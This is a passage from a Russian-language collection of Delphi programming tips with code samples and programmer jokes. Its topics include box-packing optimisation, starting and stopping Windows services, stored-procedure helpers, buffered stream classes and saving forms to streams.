          dec(BigBoxes);
        Weight := 0;
      end;
    end;
  end; //для ErrorCode=0
  //Вернем память
  Place := nil;
  Left := nil;
  Right := nil;
  Used := nil;
  Space := nil;
end;
end.

Пример использования:

unit BagU;
interface
uses
  OptBox, SysUtils, Classes, Controls, Forms, StdCtrls;
type
  TForm1 = class(TForm)
    bCalculate: TButton;
    edBoxCount: TEdit;
    cbFillAllBoxes: TCheckBox;
    cbEqualize: TCheckBox;
    mStones: TMemo;
    mBoxes: TMemo;
    lBoxCount: TLabel;
    lStones: TLabel;
    lBoxes: TLabel;
    procedure bCalculateClick(Sender: TObject);
  end;
var
  Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.bCalculateClick(Sender: TObject);
var
  Boxes: array of integer;
  Stones: array of integer;
  BoxCount, StoneCount: integer;
  FillAllBoxes, Equalize: boolean;
  BoxSize, NeedBoxes, BigBoxes, MaxWeight, MinWeight: integer;
  i, j, k: integer;
  s: string;
begin
  ;
  mBoxes.Lines.Clear;
  try
    FillAllBoxes := cbFillAllBoxes.Checked;
    Equalize := cbEqualize.Checked;
    BoxCount := StrToInt(Trim(edBoxCount.Text));
    StoneCount := mStones.Lines.Count;
    SetLength(Boxes, StoneCount);
    SetLength(Stones, StoneCount);
    for i := 0 to StoneCount - 1 do
      Stones[i] := StrToInt(Trim(mStones.Lines[i]));
    OptimizeBoxes(Stones, Boxes, StoneCount, BoxCount, FillAllBoxes, Equalize,
      NeedBoxes, BigBoxes, BoxSize, MaxWeight, MinWeight);
    if NeedBoxes > 0 then
    begin
      ;
      mBoxes.Lines.Add(Format('Надо ящиков: %d', [NeedBoxes]));
      mBoxes.Lines.Add(Format('В т.ч. больших: %d', [BigBoxes]));
      mBoxes.Lines.Add(Format('Размер ящиков: %d', [BoxSize]));
      mBoxes.Lines.Add(Format('Макс. загрузка: %d', [MaxWeight]));
      mBoxes.Lines.Add(Format('Мин. загрузка: %d', [MinWeight]));
      k := 0;
      for i := 0 to StoneCount - 1 do
      begin
        ;
        j := Boxes[i];
        if j < 0 then
        begin
          ;
          j := -j;
          inc(k);
          if k <= BigBoxes then
            s := 'o'
          else
            s := '';
          mBoxes.Lines.Add(Format('------------%s %d', [s, k]));
        end;
        mBoxes.Lines.Add(IntToStr(Stones[j - 1]));
      end;
    end;
  except
  end;
  Boxes := nil;
  Stones := nil;
end;
end.

Остановка и запуск сервисов.

Автор: Postmaster
- Почему Билл Гейтс избегает интимных отношений с юзерами? - Потому, что данное действие может быть квалифицировано, как незаконная попытка взять деньги дважды за, собственно говоря, однажды уже оказанный сервис.

Unit1.dfm

object Form1: TForm1
  Left = 192
    Top = 107
    Width = 264
    Height = 121
    Caption = 'Сервис'
    Color = clBtnFace
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clWindowText
    Font.Height = -11
    Font.Name = 'MS Sans Serif'
    Font.Style = []
    OldCreateOrder = False
    PixelsPerInch = 96
    TextHeight = 13
    object Label1: TLabel
    Left = 2
      Top = 8
      Width = 67
      Height = 13
      Caption = 'Имя сервиса'
  end
  object Button1: TButton
    Left = 4
      Top = 56
      Width = 95
      Height = 25
      Caption = 'Стоп сервис'
      TabOrder = 0
      OnClick = Button1Click
  end
  object Button2: TButton
    Left = 148
      Top = 56
      Width = 95
      Height = 25
      Caption = 'Старт сервис'
      TabOrder = 1
      OnClick = Button2Click
  end
  object Edit1: TEdit
    Left = 0
      Top = 24
      Width = 241
      Height = 21
      TabOrder = 2
      Text = 'Messenger'
  end
end

Unit1.pas.

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, Winsvc;
type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    Edit1: TEdit;
    Label1: TLabel;
    procedure Button1Click(Sender: TObject);
    procedure StopService(ServiceName: string);
    procedure Button2Click(Sender: TObject);
    procedure StartService(ServiceName: string);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
  StopService(Edit1.Text);
end;
procedure TForm1.StopService(ServiceName: string);
var
  schService,
    schSCManager: DWORD;
  p: PChar;
  ss: _SERVICE_STATUS;
begin
  p := nil;
  schSCManager := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
  if schSCManager = 0 then
    RaiseLastWin32Error;
  try
    schService := OpenService(schSCManager, PChar(ServiceName),
      SERVICE_ALL_ACCESS);
    if schService = 0 then
      RaiseLastWin32Error;
    try
      if not ControlService(schService, SERVICE_CONTROL_STOP, SS) then
        RaiseLastWin32Error;
    finally
      CloseServiceHandle(schService);
    end;
  finally
    CloseServiceHandle(schSCManager);
  end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
  StartService(Edit1.Text);
end;
procedure TForm1.StartService(ServiceName: string);
var
  schService,
    schSCManager: Dword;
  p: PChar;
begin
  p := nil;
  schSCManager := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
  if schSCManager = 0 then
    RaiseLastWin32Error;
  try
    schService := OpenService(schSCManager, PChar(ServiceName),
      SERVICE_ALL_ACCESS);
    if schService = 0 then
      RaiseLastWin32Error;
    try
      if not Winsvc.startService(schService, 0, p) then
        RaiseLastWin32Error;
    finally
      CloseServiceHandle(schService);
    end;
  finally
    CloseServiceHandle(schSCManager);
  end;
end;
end.

Приостановить работу программы.

- После того как на МИГ-29 установили операционную систему Windows 2000, он совершил невероятную фигуру высшего пилотажа. - И какую же? - Он ЗАВИС!!!

Используйте Sleep(Milliseconds). Программа перестает работать на указанное в скобках количество тысячных секунд. Погрешность на моем компьютере, а он не старый, до 10 мсек. При этом способе ничего не происходит, даже перерисовка. Чтобы этого избежать можно использовать другой способ.

procedure TForm1.Button1Click(Sender: TObject);
var
  t: integer;
begin
  t := GetTickCount;
  repeat
    Application.ProcessMessages
  until
    GetTickCount - t >= 1000;
  Button1.Caption := Button1.Caption + '1';
end;

Как остановить автодобавление из DBGrid.

Статьи по Delphi (016)…
Программист обиделся, что о нем анекдот про 2 стакана сочинили (ну, вы знаете). Жалуется системному программисту. А тот задумался и говорит: - Нет, 2-х стаканов недостаточно. Нужно 4. - ??? - Системное резервирование.

Добавьте в событие "BeforeInsert" Вашего TTables следующие строки:

procedure TForm1.Tbable1BeforeInsert(DataSet: TDataset);
begin 
  Abort;
end;

Или.

procedure TForm8.DBGrid1KeyDown(Sender: TObject;
var Key: Word; Shift: TShiftState);
begin
  if (Key = VK_DOWN) then
  begin
    TTable1.DisableControls;
    TTable1Next;
    if TTable1.EOF then
      Key := 0
    else
      TTable1.Prior;
    TTable1.EnableControls;
  end;
end;

Остановить длинное действие.

Вовочка: -Папа, a что такое клитор? Папа,не отрываясь от компа: - Язык программирования. Работает с файлами DBF формата.

Эта программа выходит из бесконечного цикла, если программу пытаются закрываеть.

procedure TForm1.Button1Click(Sender: TObject);
begin
  randomize;
  repeat
    Form1.Canvas.Pixels[random(Form1.ClientWidth),
    random(Form1.ClientHeight)] :=
    RGB(random(255),random(255),random(255));
    Application.ProcessMessages;
  until
    Application.Terminated;
end;

Эта программа останавливается при нажатии на Button2.

procedure TForm1.Button1Click(Sender: TObject);
begin
  randomize;
  Form1.Tag := 0;
  repeat
    Form1.Canvas.Pixels[random(Form1.ClientWidth),
    random(Form1.ClientHeight)] :=
    RGB(random(255),random(255),random(255));
    Application.ProcessMessages;
  until
    Form1.Tag > 0;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
  Form1.Tag := 1;
end;

StoredProc становится удобнее.

Автор: Павел Примерно через неделю после того, как программист впервые сталкивается с компонентом TStoredProc, предназначенным для вызова хранимых процедур БД, приходит понимание, что для работы с процедурами, которые не возвращают наборов данных (курсоров) лучше работать через один и тот же компонент, просто перенастраивая его. Итогом становится нагромождение однотипных строк кода, которые делают одно и то же. Сэкономлю вам еще одну неделю и предложу метод, который позволяет, как минимум, сократить количество строк, которые надо писать для вызова хранимых процедур. Решение Из чего же состоит процесс работы с компонентом TStoredProc? Часто это расподготовка (UnPrepare), присвоение имени хранимой процедуры, подготовка к запуску (Prepare), установка параметров, запуск и, наконец, получение результата. Автоматизировать данные действия я предлагаю с помощью одной процедуры и одной функции, которыми и сам нередко пользуюсь. Рекомендую их прописать в DataModule, в котором же находятся прочие ваши невизуальные компоненты для работы с БД (что, кстати говоря, является неплохим стилем).

Процедура инициализации.

procedure Tdm.InitSProc(var aProc: TStoredProc; const ProcName: string);
begin
  aProc.UnPrepare;
  aProc.StoredProcName := ProcName;
  aProc.Prepare;
end;
Вот такая вот простенькая функция, которая убивает список параметров старой процедуры, присваивает новое имя хранимой процедуры и создает список параметров новой процедуры. Плюсы - экономия двух строк кода и лучшая читабельность текста.

Функция запуска.

function Tdm.ExecSProc(var aProc: TStoredProc): integer;
begin
  Result := -1;
  aProc.Prepare;
  aProc.ExecProc;
  try
    if aProc.Params.FindParam('Result') <> nil then
      Result := aProc.ParamByName('Result').AsInteger;
  except
    Result := -1;
  end;
end;
Эта функция запускает ранее заданную хранимую процедуру и, в случае ошибки или, если хранимая процедура возвращает не числовой результат (не возвращает его вовсе), возвращает -1. Во всех остальных случаях функция возвращает значение параметра "Result", то есть, ответ хранимой процедуры.

Пример.

with dm do
begin
  InitSProc('PKPG_CONSREPS.CHECK_ENABLED_VERSION');
  pExec.ParamByName('xTypeID').Value := eType.KeyValue;
  i := ExecSProc;
  if i > 0 then
  begin
    ModalResult := mrCancel;
    ErrorMessage(SomeMsg, mtWarning, 'Проблема');
    exit;
  end;
end;
Вот так я использую это в жизни (параметр aProc я не передаю, он у меня фиксированный). И, надо сказать, жизнь мне эти две простенькие функции сильно упрощают. На этом очередная маленькая хитрость подошла к концу.

Всем успехов.

Проблемы StoredProc у SQL server.

Автор: David Gecawich Обнаруженная мною проблема заключается в ненормальной работе BDE с TStoredProc, когда хранимая процедура SQL получает на входе параметр типа String. Как я понял, BDE/SQL Links перед вызовом хранимой процедуры заносит в строку управляющие символы. Чтобы обойти эту проблему, Borland предлагает использовать TQuery. Конечно, ничего не стоит перевести TStoredProcs в TQuerys (с сохранением полного набора характеристик и без потери скорости), но мне стала интересна причина такого поведения компонента, и я решил покопаться в TStoredProc насколько это было мне возможно и интересно, для чего я добавил дополнительный параметр к хранимой процедуре, позволяющий указывать длину передаваемой процедуре строки. Затем, уже в процедуре, если реальная длина строки оказывалась больше, с помощью дополнительно передаваемого параметра бралась, и в дальнейшем использовалась только левая часть строки, а остальные управляющие символы игнорировались. Вот пример: Приведенная ниже процедура SQL Server возвращает 1 если таблица существует, и 2 в противном случае.
CREATE PROCEDURE up_TableExists
  ( @TableName varchar(50), @TableNameLen int = null)
AS
  declare @CleanTblName varchar(50)
  if @TableNameLen is not null
    select @CleanTblName = SubString(@TableName,1,@TableNameLen)
  else
    select @CleanTblName = @TableName
  if EXISTS (SELECT name FROM sysobjects WHERE name = @CleanTblName)
    RETURN 1
  else
    RETURN 2
Поехали...

В Delphi, прежде чем вызвать ExecProc, установите параметр длины строки... вот пример вызова хранимой процедуры в Delphi...

var
  sTableName: string;
  rc: Boolean;
begin
  ...
  sTableName := 'MyTable';
  with StoredProc1 do
  begin
    ...
      ParamByName('@TableName').AsString := sTableName;
    { обход проблемы: передаем длину строки SQL Server для
    обработки хранимой процедурой }
    ParamByName('@TableNameLen').AsInteger := Length(sTableName);
    Prepare;
    ExecProc;
    rc := ParamByName('Result').AsInteger = 1; {rc True если result = 1}
    if rc then
      ....
  end;
end;

Хранимые процедуры.

Оформил: DeeCo

procedure TForm1.BGetClick(Sender: TObject);
begin
  with ProcGetInf do
  begin
    ParamByName('pFam').AsString := FamEdit.Text;
    ParamByName('pNam').AsString := NamEdit.Text;
    ParamByName('pPar').AsString := ParEdit.Text;
    ExecProc;
    if ParamByName('pYear').AsInteger = 0 then
      MessageDlg('В базе данных запись отсутствует', mtError, [mbCancel], 0)
    else
    begin
      SYear.Value := ParamByName('pYear').AsInteger;
      CBDep.Text := ParamByName('pDep').AsString;
      if ParamByName('pSex').AsString = 'м' then
        RGSex.ItemIndex := 0
      else
        RGSex.ItemIndex := 1;
    end;
  end;
end;
Полный текст модуля:
unit UStoreP;
Статьи по Delphi (016)…
interface
uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, DBTables, DB, Grids, DBGrids, StdCtrls, Spin, ExtCtrls;
type
  TForm1 = class(TForm)
    Database1: TDatabase;
    DataSource1: TDataSource;
    ResLabel: TLabel;
    ProcGetInf: TStoredProc;
    ProcSetInf: TStoredProc;
    Table1: TTable;
    Query1: TQuery;
    DataSource2: TDataSource;
    Query1PFAM: TStringField;
    Query1PNAM: TStringField;
    Query1PPAR: TStringField;
    Query1PYEAR: TIntegerField;
    Query1PSEX: TStringField;
    PTop: TPanel;
    LFam: TLabel;
    LNam: TLabel;
    LPar: TLabel;
    FamEdit: TEdit;
    BGet: TButton;
    BSet: TButton;
    LSex: TLabel;
    LYear: TLabel;
    LDep: TLabel;
    SYear: TSpinEdit;
    RGSex: TRadioGroup;
    BExit: TButton;
    CBDep: TComboBox;
    NamEdit: TEdit;
    ParEdit: TEdit;
    PMid: TPanel;
    DBGrid2: TDBGrid;
    CBDep2: TComboBox;
    Label1: TLabel;
    PButtom: TPanel;
    DBGrid1: TDBGrid;
    Titul1: TLabel;
    Titul2: TLabel;
    Titul3: TLabel;
    Table1NUM: TSmallintField;
    Table1DEP: TStringField;
    Table1FAM: TStringField;
    Table1NAM: TStringField;
    Table1PAR: TStringField;
    Table1YEAR_B: TSmallintField;
    Table1SEX: TStringField;
    procedure BGetClick(Sender: TObject);
    procedure FamEditEnter(Sender: TObject);
    procedure BSetClick(Sender: TObject);
    procedure BExitClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure CBDep2Change(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.BGetClick(Sender: TObject);
begin
  with ProcGetInf do
  begin
    ParamByName('pFam').AsString := FamEdit.Text;
    ParamByName('pNam').AsString := NamEdit.Text;
    ParamByName('pPar').AsString := ParEdit.Text;
    ExecProc;
    if ParamByName('pYear').AsInteger = 0 then
      MessageDlg('В базе данных запись отсутствует', mtError, [mbCancel], 0)
    else
    begin
      SYear.Value := ParamByName('pYear').AsInteger;
      CBDep.Text := ParamByName('pDep').AsString;
      if ParamByName('pSex').AsString = 'м' then
        RGSex.ItemIndex := 0
      else
        RGSex.ItemIndex := 1;
    end;
  end;
end;
procedure TForm1.FamEditEnter(Sender: TObject);
begin
  SYear.Value := 0;
  CBDep.Text := '';
  RGSex.ItemIndex := -1;
end;
procedure TForm1.BSetClick(Sender: TObject);
begin
  with ProcSetInf do
  begin
    ParamByName('pFam').AsString := FamEdit.Text;
    ParamByName('pNam').AsString := NamEdit.Text;
    ParamByName('pPar').AsString := ParEdit.Text;
    ParamByName('pDep').AsString := CBDep.Text;
    ParamByName('pYear').AsInteger := SYear.Value;
    if RGSex.ItemIndex = 1 then
      ParamByName('pSex').AsString := 'ж'
    else
      ParamByName('pSex').AsString := 'м';
    ExecProc;
    if ParamByName('mess').AsInteger = 0 then
      MessageDlg('В базе данных запись отсутствует',
        mtError, [mbCancel], 0)
    else
    begin
      MessageDlg('Запись проведена успешно', mtCustom, [mbOk], 0);
      Table1.Close;
      Table1.Open;
      Query1.Close;
      Query1.Open;
    end;
  end;
end;
procedure TForm1.BExitClick(Sender: TObject);
begin
  Close;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  CBDep2.ItemIndex := 0;
  CBDep2Change(Sender);
end;
procedure TForm1.CBDep2Change(Sender: TObject);
begin
  Query1.Close;
  Query1.ParamByName('pDep').AsString := CBDep2.Text;
  Query1.Open;
end;
end.

Сохранение типа данных множество (TFontStyles).

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{You do that simple by converting it to an integer, and then stores that:}
 type
   pFontStyles = ^TFontStyles;
   pInteger = ^integer;
 function FontStylesToInteger(const Value : TFontStyles): integer;
 begin
   Result := pInteger(@Value)^;
 end;
 function IntegerToFontStyles(const Value : integer): TFontStyles;
 begin
   Result := pFontStyles(@Value)^;
 end;

StrAlloc и GetMem.

StrAlloc непосредственно использует GetMem, поэтому обе функции живут за счет Кучи. StrAlloc имеет преимущество: он распределяет на два байта больше, чем вы просите и там хранит размер размещенного блока. Поэтому StrDispose знает сколько памяти освободить и вы можете этого не помнить (в отличие от GetMem/FreeMem). Не смешивайте при работе эти две функциональные пары, иначе вы будете потрясены количеством возникающих ошибок!

Буферы для потоков.

Оформил: DeeCo

Автор: Сергей Парунов.

Стандартные потоки, широко применяющиеся в Delphi, резко упрощают повседневную работу с потоковыми данными. Но и у них есть недостаток. Дело в том, что в VCL потоки, и, главное, их базовый класс TStream, реализованы "в лоб": без всяких хитростей данные немедленно препровождаются по назначению (например, в файл). И такие операции занимают весьма значительное время (многие сотни машинных команд). Хорошо, если надо работать с "крупными" данными (килобайт и выше) - а если данные небольшие и разнообразные, замедление достигает 100 и более раз (на типе Char). Стандартный способ ускорения подобных операций - работа с массивами элементов, вводя-выводя их в/из потока сразу. Но, во-первых, это значительно сложнее поэлементных операций, а во-вторых, если элементы имеют непостоянную длину, становится ещё сложнее. Делая небольшое отступление, замечу, что стандартная библиотека потокового ввода-вывода в большинстве реализаций C++ сделана не так - там потоки могут сами буферизовать передаваемые данные. Не понимаю, почему в Borland решили обойтись без этого. Единственное приходящее в голову объяснение - они твёрдо рассчитывали на "крупный" и "средний" обмен данными, который оптимально производить как раз без буферизации. Действительно, если посмотреть на C++ - сразу кружится голова от количества команд, необходимых для обслуживания буфера. Связано это с тем, что потоки могут попеременно читаться и писаться, а кроме того, одновременно использоваться многими потоками кода. Ввиду этих проблем мной были написаны сравнительно простые буферные классы (работают на Delphi версий 4-5, должны работать и на последующих, а вот 3 версия уже не поддерживает перегрузку методов - в принципе, переписать и тут несложно), позволяющие производить буферизованный обмен с любыми потоками. В целях максимального ускорения работы классы эти, во-первых, не "thread-safe", а во-вторых, это два разных класса - для записи и для чтения - унаследованных от одного базового (кроме TObject, разумеется). Классы "пристёгиваются" к потоку (кстати, в C++ это делается практически так же) - и пользуются ими только для "крупного" обмена, осуществляя "мелкий" самостоятельно со своим буфером.
ByteArray = packed array of Byte;
psnAbstractStreamBuffer = class {
  Абстрактный предок классов для БЫСТРОЙ (буферизованно: вся цепочка до
 API-функций задействуется только при переполнении буфера, что даёт ускорение
 на порядок для данных длиной несколько байт) и УДОБНОЙ (перегруженные методы
 для разных типов данных позволяют не задавать их размер, хотя можно и так)
 бинарной работы с потоками заданной структуры. Принцип действия прост:
 накопление данных в буфере и сброс в поток - у буфера записи; чтение из
 потока и раздача данных из буфера - у буфера чтения. О позиции потока буфер
 не заботится - просто пишет или читает в текущей. А иначе будет монстр.
  Опасно что-то делать с потоком (хотя кому это надо?), когда к нему
 присоединён буфер, ведь буфер может переписать поток, прочитать устаревшие
 данные или сделать это не там, где надо. Перед подобными операциями
 сбрасывйте буфер методом Flush (при смене присоединённого потока (свойство
 Stream) и разрушении буфера это делается автоматически). Это касается и
 попеременной работы буферов чтения и записи с одним потоком... хотя зачем
 тогда буфер - чтобы постоянно его сбрасывать и устанавливать позицию потока?
  При ошибках чтения и записи возникают стандартные VCL-исключения EReadError
 и EWriteError.}
private
  FStream: TStream; {присоединённый поток}
  FSize: Cardinal; {размер буфера}
  FBuffer, {буфер}
  FBufferEnd: PChar; {конец буфера (сразу за последним байтом) - понятно, что
  вместе с FSize и FBuffer избыточно, но это повысит скорость и упростит код}
  procedure SetStream(const Value: TStream);
protected
  FCurrPos: PChar; {текущая позиция в буфере}
  property Size: Cardinal read FSize;
  property Buffer: PChar read FBuffer;
  property BufferEnd: PChar read FBufferEnd;
  constructor Create(const Stream: TStream; const Size: Cardinal);
public
  property Stream: TStream read FStream write SetStream; {<> Nil !!!}
  procedure Flush; virtual; abstract; {сброс}
  destructor Destroy; override; {Stream разрушайте сами, если надо, ПОСЛЕ
  разрушения буфера}
end;
psnStreamWriter = class(psnAbstractStreamBuffer)
public
  constructor Create(
    const Stream: TStream; {присоединённый поток, меняется свойством Stream}
    const Size: Cardinal = 1024 {размер буфера}
    );
  procedure Flush; override;
  procedure WriteBuffer(const Data; const Count: Cardinal); {Этот метод
  не перегружен с Write, так как Delphi (4-5, во всяком случае) плохо выносит
  перегруженные методы, когда один из них имеет бестиповые параметры: Code
  Explorer сходит с ума, а Code Completion вообще хулиганит - самовольно
  добавляет раздел Private и дублирует объявление метода (без overload!!!)
  там, а потом ругается: мол, первый метод не был объявлен как overload).}
  procedure Write(const Data: Byte); overload;
  procedure Write(const Data: Word); overload;
  procedure Write(const Data: LongWord); overload;
  procedure Write(const Data: Integer); overload;
  procedure Write(const Data: Single); overload;
  procedure Write(const Data: Double); overload;
  procedure Write(const Data: Extended); overload;
  procedure Write(const Data: string); overload;
  procedure Write(const Data: ByteArray); overload;
end;
psnStreamReader = class(psnAbstractStreamBuffer)
public
  constructor Create(
    const Stream: TStream; {присоединённый поток, меняется свойством Stream}
    const Size: Cardinal = 1024 {размер буфера}
    );
  procedure Flush; override;
  procedure ReadBuffer(out Data; const Count: Cardinal);
  procedure Read(out Data: Byte); overload;
  procedure Read(out Data: Word); overload;
  procedure Read(out Data: LongWord); overload;
  procedure Read(out Data: Integer); overload;
  procedure Read(out Data: Single); overload;
  procedure Read(out Data: Double); overload;
  procedure Read(out Data: Extended); overload;
  procedure Read(out Data: string); overload;
  procedure Read(out Data: ByteArray); overload;
end;
Их методы WriteBuffer и ReadBuffer работают аналогично одноименным методам класса TStream, то есть они генерируют стандартные VCL-исключения EWriteError и EReadError при невозможности осуществления операции. Причина этого в том, что, в конце концов, вы должны знать формат своего файла, а не я :). Кроме того, если кто не знает, исключения ускоряют работу по сравнению с постоянной проверкой результата (если секция try...finally или try...except содержит цикл, а не наоборот). EWriteError может возникнуть много позже того, как в буферный класс поступят первые "не вмещающиеся" данные (но до того, как будет разорвана связь буферного класса и потока!) - ведь они буферизуются. В большинстве случаев это не критично: если в поток не удалось записать, можно "тушить свет" - это серьёзная ошибка, и поток к дальнейшему употреблению всё равно непригоден. В силу того, что "мелкий" обмен с потоками часто производится типизированно - например, чтение строк или чисел с плавающей точкой - классы дополнены перегруженными методами Write и Read для распространённых типов, позволяющими не раздувать исходный (и машинный) код, постоянно указывая размеры передаваемых данных. Эти методы настолько просты, что расширение их набора не представляет проблем - фактически они просто транслируются в вызовы WriteBuffer и ReadBuffer. В заключение остаётся предупредить, что во избежание ошибок прежде, чем что-то делать с потоком (позицию сменить, прочитать/записать что-то помимо данного буферного класса или пристегнуть другой поток - это свойство Stream), необходимо сбросить буфер методом Flush.

Сохранение и загрузка формы с компонентами потоком.

Статьи по Delphi (016)…
unit InfoForm;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  StdCtrls, ExtCtrls, Buttons, Clipbrd, Comctrls, Db, Dbcgrids,
  Dbctrls, Dbgrids, Dblookup, Dbtables, Ddeman, Dialogs,
  Filectrl, Grids, Mask, Menus, Mplayer, Oleconst, Olectnrs,
  Olectrls, Outline, Tabnotbk, Tabs;
type
  TMainForm = class(TForm)
    Panel1: TPanel;
    ComboBox1: TComboBox;
    Label1: TLabel;
    Label2: TLabel;
    ComboBox2: TComboBox;
    SpeedSaveForm: TSpeedButton;
    SpeedText: TSpeedButton;
    SpeedLoadForm: TSpeedButton;
    SpeedSavePas: TSpeedButton;
    OpenDialog1: TOpenDialog;
    SaveDialog1: TSaveDialog;
    procedure FormCreate(Sender: TObject);
    procedure SpeedSaveFormClick(Sender: TObject);
    procedure SpeedLoadFormClick(Sender: TObject);
    procedure SpeedSavePasClick(Sender: TObject);
    procedure SpeedTextClick(Sender: TObject);
  public
    function GetNextName (MyClass: TComponentClass): string;
    procedure UpdateList;
  end;
var
  MainForm: TMainForm;
implementation
{$R *.DFM}
uses
  OutForm, MemoF;
type
  TClassArray = array [1..107] of TPersistentClass;
  // definition temporary used to check the data types
  //  TClassArray = array [1..107] of TComponentClass;
const
  ClassArray: TClassArray = (
    TApplication, TDDEServerItem, TPanel, TAutoIncField,
    TDirectoryListBox, TPopupMenu, TBatchMove, TDrawGrid,
    TPrintDialog, TBCDField, TDriveComboBox, TPrinterSetupDialog,
    TBevel, TEdit, TProgressBar, TBitBtn,
    TField, TQuery, TBlobField, TFileListBox,
    TRadioButton, TBooleanField, TFilterComboBox, TRadioGroup,
    TButton, TFindDialog, TReplaceDialog, TBytesField,
    TFloatField, TCheckBox, TFontDialog,
    TRichEdit, TColorDialog, TForm, TSaveDialog,
    TComboBox, TGraphicField, TScreen, TCurrencyField,
    TGroupBox, TScrollBar, TDatabase, THeader,
    TScrollBox, TDataSource, THeaderControl, TSession,
    TDateField, THotKey, TShape, TDateTimeField,
    TImage, TSmallIntField, TDBCheckBox, TImageList,
    TSpeedButton, TDBComboBox, TIntegerField, TStatusBar,
    TDBCtrlGrid, TLabel, TStoredProc, TDBEdit,
    TListBox, TStringField, TDBGrid, TListView,
    TStringGrid, TDBImage, TMainMenu, TTabbedNotebook,
    TDBListBox, TMaskEdit, TTabControl, TDBLookupCombo,
    TMediaPlayer, TTable, TMemoField, TDBLookupComboBox,
    TMemo, TTabSet, TDBLookupList, TTabSheet,
    TDBLookupListBox, TMenuItem, TTimeField, TDBMemo,
    TNotebook, TDBNavigator, TOleContainer, TTimer,
    TDBRadioGroup, TOpenDialog, TTrackBar, TDBText,
    TOutline, TTreeView, TDDEClientConv, TOutline,
    TUpdateSQL, TDDEClientItem, TPageControl, TUpDown,
    TDDEServerConv, TPaintBox, TVarBytesField, TWordField);
procedure TMainForm.FormCreate(Sender: TObject);
var
  I: Integer;
begin
  // register all of the classes
  RegisterClasses (Slice (ClassArray, High (ClassArray)));
  // copy class names to the listbox
  for I := Low (ClassArray) to High (ClassArray) do
    ComboBox1.Items.Add (ClassArray [I].ClassName);
end;
function TMainForm.GetNextName (MyClass: TComponentClass): string;
var
  I, nTot: Integer;
begin
  nTot := 0;
  with OutputForm do
  begin
    for I := 0 to ComponentCount - 1 do
      if Components [I].ClassType = MyClass then
        Inc (nTot);
    Result := Copy (MyClass.ClassName, 2, Length (MyClass.ClassName) - 1) +
      IntToStr (nTot);
  end;
end;
procedure TMainForm.UpdateList;
var
  I: Integer;
begin
  Combobox2.Items.Clear;
  with OutputForm do
    for I := 0 to ComponentCount - 1 do
      ComboBox2.Items.Add (Components [I].Name);
end;
procedure TMainForm.SpeedSaveFormClick(Sender: TObject);
var
  Str1 : TFileStream;
begin
  if SaveDialog1.Execute then
  begin
    Str1 := TFileStream.Create (SaveDialog1.FileName,
      fmOpenWrite or fmCreate);
    try
      // disable the event
      OutputForm.OnMouseDown := nil;
      Str1.WriteComponentRes (
        OutputForm.ClassName, OutputForm);
    finally
      Str1.Free;
      OutputForm.OnMouseDown := OutputForm.FormMouseDown;
    end;
  end;
end;
procedure TMainForm.SpeedLoadFormClick(Sender: TObject);
var
  Str1: TFileStream;
  TempForm1: TOutputForm;
begin
  if OpenDialog1.Execute then
  begin
    Str1 := TFileStream.Create (OpenDialog1.FileName,
      fmOpenRead);
    try
      TempForm1 := TOutputForm.Create (Application);
      Str1.ReadComponentRes (TempForm1);
      OutputForm.Free;
      OutputForm := TempForm1;
      OutputForm.Show;
      OutputForm.OnMouseDown := OutputForm.FormMouseDown;
    finally
      Str1.Free;
    end;
  end;
end;
procedure TMainForm.SpeedSavePasClick(Sender: TObject);
var
  File1 : TextFile;
  FileName: string;
  I: Integer;
begin
  // save the DFM file
  SpeedSaveFormClick (self);
  // change extension (using the proper VCL routine)
  FileName := SaveDialog1.FileName;
  FileName := ChangeFileExt (FileName, '.pas');
  AssignFile (File1, FileName);
  try
    // create the pascal file...
    Rewrite (File1);
    FileName := ChangeFileExt (FileName, '');
    Writeln (File1, 'unit ' + ExtractFileName (FileName) + ';');
    Writeln (File1, '');
    Writeln (File1, 'interface');
    Writeln (File1, '');
    Writeln (File1, 'uses');
    Writeln (File1, '  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,');
    Writeln (File1, '  StdCtrls, ExtCtrls, Buttons, Clipbrd, Comctrls, Db, Dbcgrids,');
    Writeln (File1, '  Dbctrls, Dbgrids, Dblookup, Dbtables, Ddeman, Dialogs,');
    Writeln (File1, '  Filectrl, Grids, Mask, Menus, Mplayer, Oleconst, Olectnrs,');
    Writeln (File1, '  Olectrls, Outline, Tabnotbk, Tabs;');
    Writeln (File1, '');
    Writeln (File1, 'type');
    Writeln (File1, '  TOutputForm = class(TForm)');
    // add components declarations
    for I := 0 to OutputForm.ComponentCount - 1 do
    begin
      Writeln (File1, '    ' +
        OutputForm.Components[I].Name + ': ' +
        OutputForm.Components[I].ClassName + ';');
    end;
    Writeln (File1, '  private');
    Writeln (File1, '    { Private declarations }');
    Writeln (File1, '  public');
    Writeln (File1, '    { Public declarations }');
    Writeln (File1, '  end;');
    Writeln (File1, '');
    Writeln (File1, 'var');
    Writeln (File1, '  OutputForm: TOutputForm;');
    Writeln (File1, '');
    Writeln (File1, 'implementation');
    Writeln (File1, '');
    Writeln (File1, '{$R *.DFM}');
    Writeln (File1, '');
    Writeln (File1, 'end.');
  finally
    CloseFile (File1);
  end;
end;
procedure TMainForm.SpeedTextClick(Sender: TObject);
var
  StrBin, StrTxt: TMemoryStream;
begin
  StrBin := TMemoryStream.Create;
  StrTxt := TMemoryStream.Create;
  try
    OutputForm.OnMouseDown := nil;
    // write the form to a memory stream
    StrBin.WriteComponentRes (
      OutputForm.ClassName, OutputForm);
    // go back to the beginning
